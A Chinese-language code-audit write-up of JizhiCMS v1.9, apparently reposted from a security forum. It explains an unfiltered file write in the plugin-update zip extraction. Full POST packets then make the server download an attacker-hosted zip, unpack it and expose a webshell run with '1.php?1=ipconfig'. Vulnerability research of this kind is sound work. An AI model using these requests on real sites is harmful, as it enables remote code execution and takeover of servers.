极致cms代码审计
源码地址:https://gitee.com/Cherry_toto/jizhicms
首发地址:https://forum.butian.net/share/232
一、审计工具:
PhpStudy(2016版本)、Phpstorm(2020.3.2版本)、
Seay源代码审计系统
二、审计步骤:
查找关键点一:关键函数
文件操作函数:
fopen、fclose、fputs、fwrite、readfile、file_put_contents、fputs、socket_write、ftp_nb_get、tempnam、unlink以及额外的(imagettftext)
查找关键点二:可控的参数
寻找函数里可控的参数如:fopen($_GET[‘filename’],"w");
利用上面的工具(Seay源代码审计系统)在极致cms文件中全局搜索就找到了一处file_put_contents函数可控的方法。如下:


传入压缩包在926行处进行$resource = zip_open(“payload.zip”)打开压缩包,在932行处这里是有子目录的话就继续往下打开,在934行处这里是压缩包里的全部路径(如:A/B/C.txt),往下936行处这里是以”/“进行分割目录名,如果目录不存在就会往下执行if判断并创建文件目录(权限为:0777),继续往下走就进到if判断是否为目录,如果不是就对应压缩包里的文件(如:A/B/C.txt)并以file_put_contents函数进行写入,简单来说这个方法并没有进行判断和过滤就直接写入了。
流程:
传入压缩包 》解压压缩包 》循环创建并写入对应的压缩包内的文件数据。
查找关键点三:往上跟踪
全局搜索上面的方法get_zip_originalsize(


上面的意思是:将压缩包解压到A/exts/解压后的目录。
而$path的值我们是已知的,$path=根目录/A/exts/。
而$tmp_path我们不知道它的目录在哪里,继续往上翻翻看




在该方法update中的721行这里,$tmp_path目录是cache/filepath进行控制的,而且还进行了过滤,但是对我们没任何影响。
在745行处找到了下载文件的判断代码,如果是$action的值是”start-download“就进行下载。

查找关键点四:搜索对应页面

由于配置文件说明默认模板是.html的,那就搜索包start-download含html的文件



最后简单说明:
checkAction('Plugins/change_status'):Plugins为控制器名,change_status为方法名。
在(admin.php/plugins/update.html)页面进行post传参,第一次调用start-download方法进行下载payload压缩文件,第二次进行解压payload文件到A\exts目录下。
Payload:
action=start-download&filepath=任意文件名&download_url=vps/1.zip
三、影响版本:
v1.9全版本
四、实现步骤:
步骤一:后台账号权限必须拥有权限插件管理
(开启:首页/ 管理员管理/ 角色管理/ 角色修改)
步骤二:远程下载payload压缩文件
action=start-download&filepath=3&download_url=http%3A%2F%2FIP%2F1.zip

数据包:
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.1.108
Content-Length: 80
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.108
Referer: http://192.168.1.108/admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=g9470pcp62tg9og1a6798d3g23
x-forwarded-for: 8.8.8.8
x-originating-ip: 8.8.8.8
x-remote-ip: 8.8.8.8
x-remote-addr: 8.8.8.8
Connection: close
action=start-download&filepath=3&download_url=http%3A%2F%2F192.168.1.108%2F1.zip
步骤三:解压payload文件
action=file-upzip&filepath=3&download_url=

数据包:
POST /admin.php/Plugins/update.html HTTP/1.1
Host: 192.168.1.108
Content-Length: 42
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.108
Referer: http://192.168.1.108/admin.php/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=g9470pcp62tg9og1a6798d3g23
x-forwarded-for: 8.8.8.8
x-originating-ip: 8.8.8.8
x-remote-ip: 8.8.8.8
x-remote-addr: 8.8.8.8
Connection: close
action=file-upzip&filepath=3&download_url=
访问路径是:
http://127.0.0.1//A/exts/压缩包目录/1.php?1=ipconfig
http://127.0.0.1//A/exts/1/1.php?1=ipconfig

本文迁移自知识星球“火线Zone”